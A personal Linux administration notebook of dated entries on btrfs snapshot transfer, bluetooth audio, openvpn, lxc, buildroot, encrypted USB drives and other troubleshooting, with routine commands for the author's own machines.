Maybe a spawning a service would be enough. The thing is though that a VM provides a namespace. I.g. FTP to particular host. If I mount a disk to a machine, externally it needs to know both the machine and the mount/export point. If the disk is plugged into another machine, the name changes, so on top of this some indirection is necessary. IP names (or DNS names) are really better. So it's cleaner. How to make it minimal? Install OpenWRT or buildroot on the container? Entry: signing documents Date: Wed Sep 21 12:23:31 EDT 2016 gpg --output doc.sig --sign doc gpg --verify doc.sig doc Entry: after btrfs install, find gets oom killed Date: Mon Sep 26 10:01:45 EDT 2016 [309171.789053] Out of memory: Kill process 22460 (find) score 936 or sacrifice child [309171.789057] Killed process 22460 (find) total-vm:20634444kB, anon-rss:11721060kB, file-rss:0kB, shmem-rss:0kB [309172.104982] NOHZ: local_softirq_pending 80 [309172.742382] oom_reaper: reaped process 22460 (find), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB [323990.902700] NOHZ: local_softirq_pending 80 Entry: disable ipv6 Date: Wed Sep 28 21:44:18 EDT 2016 sysctl -w net.ipv6.conf.all.disable_ipv6=1 sysctl -w net.ipv6.conf.default.disable_ipv6=1 Entry: Convert bare metal image to lxc container Date: Mon Oct 17 12:03:21 EDT 2016 See gwtest:/gwbuild/rootfs_clone.sh Entry: cache fs Date: Sat Nov 5 13:30:54 EDT 2016 https://en.wikipedia.org/wiki/CacheFS Entry: bluetooth headset Date: Mon Nov 7 11:33:01 EST 2016 https://wiki.archlinux.org/index.php/Bluetooth_headset Entry: syslinux version mismatch ubuntu install Date: Tue Nov 8 13:24:38 EST 2016 http://askubuntu.com/questions/486602/ubuntu-14-04-lts-live-usb-boot-error-gfxboot-c32not-a-valid-com32r-image By default there is a 50 second timeout until it starts the gui installer. Hit any key to interrupt this and get the startup menu. Entry: why client mode can't be bridged Date: Tue Nov 8 16:51:47 EST 2016 http://askubuntu.com/questions/683885/how-to-bridge-a-wireless-interface-with-another-wireless-interface-both-on-the In any case, I had standardized on routing. Entry: bohm headset Date: Wed Nov 9 14:12:12 EST 2016 pairing worked with blueman-assistant, but only after restarting tp. connect didn't work in blueman-assistant, but did work in bluetoothctl. once connected, a popup (blueman?) appeared to allow. then sink appeared in pavucontrol this is too complicated to see what goes wrong where... then it connects only in low-quality headset mode in popop, do this "Headset" -> deny "Advanced Audio" -> accept "Remote Control" -> accept Figure out how to script this. blueman-manager -> device -> audio profile -> hifi (A2DP) further reading: http://events.linuxfoundation.org/sites/events/files/slides/Bluetooth%20on%20Modern%20Linux_0.pdf surprising: this does not go throug alsa - pulseaudio does direct bluetooth. EDIT: Also: add "Enable=Socket" to /etc/bluetooth/audio.conf This whole thing seems quite complex.. https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=756454 Entry: a2dp sink Date: Thu Nov 10 19:27:56 EST 2016 http://askubuntu.com/questions/2573/can-i-use-my-computer-as-an-a2dp-receiver-bluetooth-speaker Entry: USB bus numbers not stable across boot Date: Wed Nov 16 09:28:46 EST 2016 So how to make a persistent link to a physical usb serial port? It seems that only the serial number would work reliably. EDIT: swiched to tty-<idvendor>-<idproduct>-<serialno> tty-<usbpath> left as well, but it's not stable across boot on zoo Entry: xpra Date: Wed Nov 16 22:26:57 EST 2016 apt-get install xpra python-cups Could not get it to work. tom@zoe:~$ cat .xpra/:100.log /usr/lib/xorg/Xorg.wrap: Only console users are allowed to run the X server 2016-11-16 22:32:23,005 2016-11-16 22:32:23,006 Xvfb command has terminated! xpra cannot continue 2016-11-16 22:32:23,006 if the display is already running, try a different one, 2016-11-16 22:32:23,006 or use the --use-display flag 2016-11-16 22:32:23,006 nice idea but I guess i don't understand how this is supposed to work. starting it manually in the text console seemed to work: $ xpra start :100 --start-child=xterm then attach $ xpra attach ssh:localhost:100 can this also run a window manager? maybe that makes little sense. EDIT: how to use this? - (main?) emacs X11 window - icedove Entry: brightness on tp5 Date: Wed Nov 30 11:06:01 EST 2016 $ xbacklight =50 No outputs have backlight property modifying this directly does work: root@tp:/sys/class/backlight/intel_backlight# echo 500 >brightness Entry: sending subvolumes Date: Wed Nov 30 16:34:01 EST 2016 Apparently you can't "chain sends" with btrfs. E.g. sending snapshot_1,host_A -> snapshot_1,host_B on host_B: snapshot_1 -> snapshot (rw, then modify) -> snapshot_2 snapshot_2,host_B -> parent of snapshot_2,host_B now snapshot_1,host_A is no longer the parent of snapshot_1,host_A is it possible to re-parent snapshot_2 to snapshot_1? http://linux-btrfs.vger.kernel.narkive.com/MmG4jI9S/incremental-btrfs-receive-in-opposite-direction-fails http://unix.stackexchange.com/questions/251114/copy-remote-btrfs-incremental-snapshot-to-new-drive-w-uuid https://www.spinics.net/lists/linux-btrfs/msg44486.html https://www.spinics.net/lists/linux-btrfs/msg44089.html Maybe this is really not intended to work like that.. It seems rather complicated. Let's just use this for keeping track of backups for now, and put the "core" filesystem on a dedicated disk, keep that as the germ line, and possibly fork off temporary working copies. It would also make it clear how to use it: external drive = master, and perform updates only on master. Entry: problem mounting drive on ubuntu Date: Sat Dec 3 09:12:33 EST 2016 "unable to open a folder for MEY_MEDIA no application is registered as handling this file" removing /media/tom worked when it gets re-created, permissions are different maybe during boot, add a rmdir /media/tom Entry: list installed packages Date: Fri Dec 9 23:38:15 EST 2016 /var/log/apt/history.log apt-mark showmanual http://askubuntu.com/questions/195782/how-to-view-a-list-of-packages-that-were-manually-installed-without-their-depend Entry: scale Date: Tue Dec 13 22:54:19 EST 2016 1920 x 1080 1280 x 720 .66 720 x 480 .375 Entry: ping permission denied Date: Wed Dec 21 18:52:00 EST 2016 # setcap cap_net_raw+ep /bin/ping Entry: Fix Deena ubuntu boot Date: Sat Dec 24 22:58:06 EST 2016 F10 to get to bios menu for boot order ( This is before UEFI boots ) Don't start windows. It will no longer start grub after. I put boot delay at 2 seconds, and have windows disk mounted ro on /windows-ro To repair: use a live disk and: sudo apt-add-repository ppa:yannubuntu/boot-repair sudo apt-get update sudo apt-get install -y boot-repair boot-repair Entry: spanning desktop Date: Wed Dec 28 13:50:59 EST 2016 Somehow this is on for two of the recent installs. Looks like it's a bug. apt-get dist-upgrade to current stretch solved it Still touchpad is gone.. ok, was just turned off using Fn-F7 Entry: disable gimp as pdf viewer Date: Wed Dec 28 17:49:59 EST 2016 edit: /usr/share/applications/gimp.desktop update-desktop-database but that also requires others to be removed. openoffice is there as well. probably to set the config locally in ~/.local/share/applications/ but how? Entry: Andrew File System AFS Date: Sun Jan 1 00:30:27 EST 2017 If it's good enough for CERN... https://en.wikipedia.org/wiki/Andrew_File_System Implementations? OpenAFS and linux kernel (immature?). Entry: CernVM Date: Sun Jan 1 01:01:02 EST 2017 Something akin to nfsroot, for cluster software. https://cernvm.cern.ch/portal/filesystem Entry: coreboot Date: Sun Jan 1 23:25:02 EST 2017 from 33c3 talk https://www.youtube.com/watch?v=UqxRPLfrpfA - was previously linuxbios - Chromebooks use coreboot - talk used X230 as example: https://www.coreboot.org/Board:lenovo/x230 Entry: Encrypted USB drive Date: Sun Jan 22 15:17:49 CET 2017 create: cryptsetup luksFormat /dev/sdb cryptsetup luksOpen /dev/sdb admin mkfs.btrfs /dev/mapper/admin mkdir -p /vol/admin mount /dev/mapper/admin /vol/admin Entry: btrfs parents -- UUID != content address Date: Sat Feb 4 08:42:04 EST 2017 Using btrfs send, the ids in the source and target are not the same, as they seem to be generated locally at random and not by the structure of the data -- i.e. it's not a content address. This is mitigated by setting the received subvol. However this tightly couples the source to the destination. E.g. it is not possible to send A->B-C and then try to update A->C. Can this somehow be made canonical? E.g. when a backup gets forwarded, set the origin? Or maybe encode the origin ID in the name? receiving snapshot core_20170204_0837_tp uuid=aae97891-61aa-6146-a2c3-c932c889ccd6, ctransid=160087 parent_uuid=87146068-571b-cb40-86c2-3d57c2a2b845, parent_ctransid=156623 BTRFS_IOC_SET_RECEIVED_SUBVOL uuid=aae97891-61aa-6146-a2c3-c932c889ccd6, stransid=160087 root@zoe:/vol/1# btrfs sub show core_20170204_0837_tp /vol/1/core_20170204_0837_tp Name: core_20170204_0837_tp UUID: f47fd5f5-4910-054d-8fdb-196ef5d877e7 Parent UUID: 71d3147f-e997-a549-871b-a26076cab8ab Received UUID: aae97891-61aa-6146-a2c3-c932c889ccd6 Creation time: 2017-02-04 08:37:56 -0500 Subvolume ID: 2427 Generation: 97242 Gen at creation: 97239 Parent ID: 5 Top level ID: 5 Flags: readonly Snapshot(s): root@tp:/# btrfs sub show core_20170204_0837_tp /core_20170204_0837_tp Name: core_20170204_0837_tp UUID: aae97891-61aa-6146-a2c3-c932c889ccd6 Parent UUID: 71875d50-cd4b-1241-9445-854477b86d56 Received UUID: - Creation time: 2017-02-04 08:37:33 -0500 Subvolume ID: 527 Generation: 160088 Gen at creation: 160087 Parent ID: 5 Top level ID: 5 Flags: readonly Snapshot(s): now, what this means is that zoe:f47fd5f5-4910-054d-8fdb-196ef5d877e7 == tp:aae97891-61aa-6146-a2c3-c932c889ccd6 where == means: can receive incremental update to produce same tree structure Since BTRFS_IOC_SET_RECEIVED_SUBVOL can change the received UUID, it is possible to make chained backups work. To automate: create canonical names, then when names match, set the received UUID in the target to the UUID of the source. Entry: btrfs migration Date: Sat Feb 4 17:58:40 EST 2017 What I want to do is to "migrate" a btrfs sytstem from one host to another, and back. By itself, btrfs only allows very simple incremental send/receive by recording the remote parent's uid. Maybe best to not mess with this. Use snapshots for restore points and incremental backups from fixed source. Use rsync for migration and restore. Entry: btrfs migration, cont Date: Sat Feb 11 14:35:15 EST 2017 Restoring symmetry in btrfs send/receive: Assuming that both source and destination have the same structure. What needs to be done is to give that structure a unique identifier, so we can later force the received UUID to correspond to what we are sending. How to create identity? It would be the {subvol_id,filesystem_id} pair, i.e. the subvol at the point of origin. Since we're never going to merge (forks are fine for now - use version control if merges are needed), its ok to trace this as identity. Where to store the identity? Best to do this in a file inside the readonly snapshot. This way it is guaranteed protected. Names are easy to change, so don't put information there. While it's easy to tage the uuid of the filesystem (e.g. in .origin file), it's not possible to seal the subvol id inside the snapshot. So there are two options: use the received uuid, or encode it in the name. What this needs is: - the reliance on filenames (like rsync, know what you're doing): both sides agree on current and parent based uniquely on name. - receiving end requests the parent id of the sender's parent, and sets the parent id of its own parent - regular send/receive proceeds The missing bit is something that can set the received uuid and transaction id. receiving snapshot core_20170211_1513_tp uuid=b2398ef1-e891-d34f-8fb8-869ca93c5d76, ctransid=174483 parent_uuid=448a0808-d404-2946-8577-0b301321ef39, parent_ctransid=174414 BTRFS_IOC_SET_RECEIVED_SUBVOL uuid=b2398ef1-e891-d34f-8fb8-869ca93c5d76, stransid=174483 some commands gathered, but i'm still not sure what stransid should be. https://github.com/agrover/btrfs-progs/blob/master/cmds-receive.c https://www.spinics.net/lists/linux-btrfs/msg21111.html struct btrfs_ioctl_received_subvol_args rs_args; memset(&rs_args, 0, sizeof(rs_args)); memcpy(rs_args.uuid, r->cur_subvol->received_uuid, BTRFS_UUID_SIZE); rs_args.stransid = r->cur_subvol->stransid; int mnt_fd = open(mnt_path, O_RDONLY | O_NOATIME); int subvol_fd = openat(mnt_fd, subvol_path, O_RDONLY | O_NOATIME); ret = ioctl(subvol_fd, BTRFS_IOC_SET_RECEIVED_SUBVOL, &rs_args); EDIT: Since I'm not sure I know what I'm doing, keep using rsync for migration. Maybe take best of both worlds: create btrfs snapshots, then use rsync to transfer them. Or this: - define core location, with backups going to spares - once core is disabled, initalize one of the spares Hard to accept defeat here. rsync combined with snapshots would be fine, however it seems as if using send/receive would somehow be more elegant, and a whole lot faster. Anyway. Doesn't matter. I'm too tired now anyway. EDIT: rsync with only metadata checks (timestamp,size) is doable. But it's a hack that's not necessarily correct... Entry: Run code on remote host using core code? Date: Sun Feb 12 13:33:41 EST 2017 The need for this is to talk directly to remote hardware through kernel, but get all the software from NFS. Basically: /usr, /var, /etc are remote, to support remote install /dev, /proc, /sys are local It should be possible to do this with PATH, LD_LIBRARY_PATH, no? Entry: btrfs moving between subvolumes Date: Sat Feb 18 10:27:04 EST 2017 Instead of "mv", use "cp --reflink=always" followed by "rm" of the original. Plain "mv" will read and rewrite the data. https://ocroquette.wordpress.com/2015/07/24/btrfs-moving-data-between-subvolumes-efficiently/ Entry: pulseaudio equalizer Date: Sat Feb 18 15:38:53 EST 2017 sudo apt-get install pulseaudio-equalizer pactl load-module module-dbus-protocol qpaeq Entry: cups again Date: Mon Mar 6 16:37:14 EST 2017 Paused - "Backend /usr/lib/cups/backend/socket does not exist!" I ran into this before, but didn't write it down. Probably old config files. Copied from zoe -> tp and HL2240 now works. Entry: lxc Date: Wed Mar 15 14:27:58 EDT 2017 Make a new host: - use jessie - apt-get install lxc cgmanager - edit /var/lib/lxc/core/config - iface br0 inet dhcp, bridge-ports eth0 - iptables -A FORWARD -i br0 -o br0 -j ACCEPT Entry: Generate SD card image without root privileges Date: Mon Mar 20 09:45:22 EDT 2017 Seems not possible http://stackoverflow.com/questions/10949169/creating-sd-image-without-root-privileges I guess it's ok to use root inside an image - should be possible to map that to an ordinary user. However using qemu-nbd seems problematic. Use loop device with offset instead? Entry: Containerize Date: Thu Mar 23 11:14:16 EDT 2017 So, how to test dependencies? Today's a good day to clean up container approach. Let's start with something that I worked on before, in bin debootstrap.sh kvm-debootstrap.sh And make a lxc-debootstrap.sh Though, this is not for now. First get a decent buildroot to work. Entry: buildroot Date: Thu Mar 23 11:35:30 EDT 2017 git clone https://github.com/buildroot/buildroot.git --branch 2017.02.x configured for A5, neon, vfp. build on core in about 30 mins. ./output/images/rootfs.tar Entry: Unify namespace for USB devices Date: Thu Mar 23 11:41:01 EDT 2017 Provide network transparency for: - serial ports - usb drives I'd use DNS, but it might make more sense to use ssh host configuration as it is more powerful. Find a way to make that network-transparent, e.g. allow inclusion of files exposed over NFS. For ssh, it's possible to use include: Include config.d/* For serial ports, there are two problems: 1) ensure exclusive access 2) share For 1) it should be able to grab. For 2) it is enough to use screen or emacs on top of 1), so that's essentially solved. Using lsof, exclusive access can be guaranteed. Still, not sure if the current socat-based serial-console makes much sense. The reason I used that raw approach is because I have a machine which has screen on the other end of the terminal. That is an exceptional configuration, so maybe just default to screen or emacs. Basic idea: serial port is identified by host,dev pair. readlink -f can be used on dev to get a canonical name. A screen or emacs terminal session can be started. Which should be the default? Let's use screen for now. EDIT: serial-screen.sh zoo:/dev/ttyUSB0 115200 So this solves the network transparency problem. However, the name itself still contains the physical address of the resource. How to map "my know USB plug" to a network transparent name? This requires distribution in some form from netlink/udev to a central point. DNS doesn't seem to be the right mechanism, but NFS might be. Or an Erlang distro. Entry: zero unused space on sd card before compressing image Date: Fri Mar 24 09:28:27 EDT 2017 http://unix.stackexchange.com/questions/44234/clear-unused-space-with-zeros-ext3-ext4 # e2fsck -E discard /dev/sdb2 # pv /dev/sdb | gzip >/root/hatd-pi.img Entry: openvpn Date: Sun Mar 26 23:28:42 EDT 2017 I wonder if when clients A,B are communication through server S: A->S->B Is S decrypting then re-encrypting? It seems so, from the numbers I get. On soekris between two clients only 1MByte, sec with openvpn at 100% cpu on soekris. Openvpn on zoe saturates at 30MByte/sec with 100% cpu. Entry: openvpn ip not assigned Date: Mon Mar 27 11:35:53 EDT 2017 Tun not up. IP not assigned after start. I used to solve this with an "up" script. But what is the real cause? Found it: I had --ifconfig-noexec specified. Why was that? Probably because of the need for a custum up file.. Entry: xephyr or just remote X? Date: Sat Jun 10 16:13:31 EDT 2017 I want to set up a firefox profile just once, and run it on the vm directly. Can be done either using xephyr, or just killing and restarting when pulling in from a different host. Let's try the simplest one first. EDIT: remote X works well. Just kill existing session before starting a new one.